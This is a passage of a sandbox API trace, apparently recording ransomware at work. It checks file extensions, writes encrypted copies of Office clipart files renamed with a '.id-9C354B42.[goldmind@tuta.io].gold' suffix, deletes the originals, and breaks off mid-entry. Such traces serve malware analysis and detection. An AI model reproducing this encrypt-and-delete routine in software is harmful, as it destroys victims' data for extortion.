[0104.628] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0104.628] lstrlenW (lpString=".dbf") returned 4 [0104.628] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0104.628] lstrlenW (lpString=".1cd") returned 4 [0104.628] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0104.628] lstrlenW (lpString=".jpg") returned 4 [0104.628] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.628] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.628] lstrlenW (lpString="J0105250.WMF") returned 12 [0104.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0104.647] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=4628) returned 1 [0104.647] CloseHandle (hObject=0x3a0) returned 1 [0104.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf")) returned 0x20 [0104.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.655] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.655] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0104.655] GetLastError () returned 0x0 [0104.655] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x1214, lpOverlapped=0x0) returned 1 [0104.657] WriteFile (in: hFile=0x198, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1220, lpOverlapped=0x0) returned 1 [0104.657] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.658] WriteFile (in: hFile=0x198, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.658] SetEndOfFile (hFile=0x198) returned 1 [0104.658] CloseHandle (hObject=0x198) returned 1 [0104.658] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.658] SetEndOfFile (hFile=0x3b4) returned 1 [0104.659] CloseHandle (hObject=0x3b4) returned 1 [0104.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.660] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf")) returned 1 [0104.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0104.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0104.660] lstrlenW (lpString=".doc") returned 4 [0104.660] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.660] lstrlenW (lpString=".docx") returned 5 [0104.660] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0104.660] lstrlenW (lpString=".pdf") returned 4 [0104.660] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.660] lstrlenW (lpString=".xls") returned 4 [0104.660] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.660] lstrlenW (lpString=".xlsx") returned 5 [0104.660] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0104.660] lstrlenW (lpString=".ppt") returned 4 [0104.660] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0104.660] lstrlenW (lpString=".zip") returned 4 [0104.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.661] lstrlenW (lpString=".rar") returned 4 [0104.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.661] lstrlenW (lpString=".bz2") returned 4 [0104.661] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.661] lstrlenW (lpString=".7z") returned 3 [0104.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0104.661] lstrlenW (lpString=".dbf") returned 4 [0104.661] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0104.661] lstrlenW (lpString=".1cd") returned 4 [0104.661] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0104.661] lstrlenW (lpString=".jpg") returned 4 [0104.661] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0104.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0104.661] lstrlenW (lpString=".doc") returned 4 [0104.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.661] lstrlenW (lpString=".docx") returned 5 [0104.661] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0104.661] lstrlenW (lpString=".pdf") returned 4 [0104.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.661] lstrlenW (lpString=".xls") returned 4 [0104.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.661] lstrlenW (lpString=".xlsx") returned 5 [0104.661] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0104.661] lstrlenW (lpString=".ppt") returned 4 [0104.661] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0104.661] lstrlenW (lpString=".zip") returned 4 [0104.661] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.661] lstrlenW (lpString=".rar") returned 4 [0104.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.661] lstrlenW (lpString=".bz2") returned 4 [0104.661] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.661] lstrlenW (lpString=".7z") returned 3 [0104.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0104.661] lstrlenW (lpString=".dbf") returned 4 [0104.661] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0104.661] lstrlenW (lpString=".1cd") returned 4 [0104.661] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0104.662] lstrlenW (lpString=".jpg") returned 4 [0104.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.662] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.662] lstrlenW (lpString="J0105276.WMF") returned 12 [0104.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.662] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=19240) returned 1 [0104.662] CloseHandle (hObject=0x3b4) returned 1 [0104.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf")) returned 0x20 [0104.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.663] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.663] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0104.663] GetLastError () returned 0x0 [0104.663] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x4b28, lpOverlapped=0x0) returned 1 [0104.665] WriteFile (in: hFile=0x198, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x4b30, lpOverlapped=0x0) returned 1 [0104.666] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.666] WriteFile (in: hFile=0x198, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.666] SetEndOfFile (hFile=0x198) returned 1 [0104.666] CloseHandle (hObject=0x198) returned 1 [0104.666] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.666] SetEndOfFile (hFile=0x3b4) returned 1 [0104.668] CloseHandle (hObject=0x3b4) returned 1 [0104.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf")) returned 1 [0104.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0104.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0104.668] lstrlenW (lpString=".doc") returned 4 [0104.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.668] lstrlenW (lpString=".docx") returned 5 [0104.668] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0104.668] lstrlenW (lpString=".pdf") returned 4 [0104.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.669] lstrlenW (lpString=".xls") returned 4 [0104.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.669] lstrlenW (lpString=".xlsx") returned 5 [0104.669] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0104.669] lstrlenW (lpString=".ppt") returned 4 [0104.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0104.669] lstrlenW (lpString=".zip") returned 4 [0104.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.669] lstrlenW (lpString=".rar") returned 4 [0104.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.669] lstrlenW (lpString=".bz2") returned 4 [0104.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.669] lstrlenW (lpString=".7z") returned 3 [0104.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0104.669] lstrlenW (lpString=".dbf") returned 4 [0104.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0104.669] lstrlenW (lpString=".1cd") returned 4 [0104.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0104.669] lstrlenW (lpString=".jpg") returned 4 [0104.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0104.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0104.669] lstrlenW (lpString=".doc") returned 4 [0104.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.669] lstrlenW (lpString=".docx") returned 5 [0104.669] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0104.669] lstrlenW (lpString=".pdf") returned 4 [0104.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.669] lstrlenW (lpString=".xls") returned 4 [0104.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.669] lstrlenW (lpString=".xlsx") returned 5 [0104.669] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0104.669] lstrlenW (lpString=".ppt") returned 4 [0104.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0104.669] lstrlenW (lpString=".zip") returned 4 [0104.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.669] lstrlenW (lpString=".rar") returned 4 [0104.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.670] lstrlenW (lpString=".bz2") returned 4 [0104.986] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.986] lstrlenW (lpString=".7z") returned 3 [0104.986] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0104.986] lstrlenW (lpString=".dbf") returned 4 [0104.986] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0104.986] lstrlenW (lpString=".1cd") returned 4 [0104.986] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0104.986] lstrlenW (lpString=".jpg") returned 4 [0104.986] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.986] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.986] lstrlenW (lpString="J0105320.WMF") returned 12 [0104.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0105.073] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2020) returned 1 [0105.074] CloseHandle (hObject=0x3a8) returned 1 [0105.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf")) returned 0x20 [0105.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0105.074] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.074] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0105.092] GetLastError () returned 0x0 [0105.092] ReadFile (in: hFile=0x3a8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x7e4, lpOverlapped=0x0) returned 1 [0105.093] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0105.094] ReadFile (in: hFile=0x3a8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.094] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.094] SetEndOfFile (hFile=0x3c8) returned 1 [0105.094] CloseHandle (hObject=0x3c8) returned 1 [0105.094] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.094] SetEndOfFile (hFile=0x3a8) returned 1 [0105.096] CloseHandle (hObject=0x3a8) returned 1 [0105.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf")) returned 1 [0105.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0105.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0105.115] lstrlenW (lpString=".doc") returned 4 [0105.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.115] lstrlenW (lpString=".docx") returned 5 [0105.115] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0105.115] lstrlenW (lpString=".pdf") returned 4 [0105.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.115] lstrlenW (lpString=".xls") returned 4 [0105.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.115] lstrlenW (lpString=".xlsx") returned 5 [0105.115] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0105.115] lstrlenW (lpString=".ppt") returned 4 [0105.116] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0105.116] lstrlenW (lpString=".zip") returned 4 [0105.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.116] lstrlenW (lpString=".rar") returned 4 [0105.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.116] lstrlenW (lpString=".bz2") returned 4 [0105.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.116] lstrlenW (lpString=".7z") returned 3 [0105.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0105.116] lstrlenW (lpString=".dbf") returned 4 [0105.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0105.116] lstrlenW (lpString=".1cd") returned 4 [0105.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0105.116] lstrlenW (lpString=".jpg") returned 4 [0105.116] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0105.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0105.116] lstrlenW (lpString=".doc") returned 4 [0105.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.116] lstrlenW (lpString=".docx") returned 5 [0105.116] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0105.116] lstrlenW (lpString=".pdf") returned 4 [0105.116] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.116] lstrlenW (lpString=".xls") returned 4 [0105.116] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.116] lstrlenW (lpString=".xlsx") returned 5 [0105.116] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0105.116] lstrlenW (lpString=".ppt") returned 4 [0105.116] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0105.116] lstrlenW (lpString=".zip") returned 4 [0105.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.116] lstrlenW (lpString=".rar") returned 4 [0105.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.116] lstrlenW (lpString=".bz2") returned 4 [0105.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.116] lstrlenW (lpString=".7z") returned 3 [0105.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0105.116] lstrlenW (lpString=".dbf") returned 4 [0105.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0105.116] lstrlenW (lpString=".1cd") returned 4 [0105.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0105.116] lstrlenW (lpString=".jpg") returned 4 [0105.116] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.117] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.117] lstrlenW 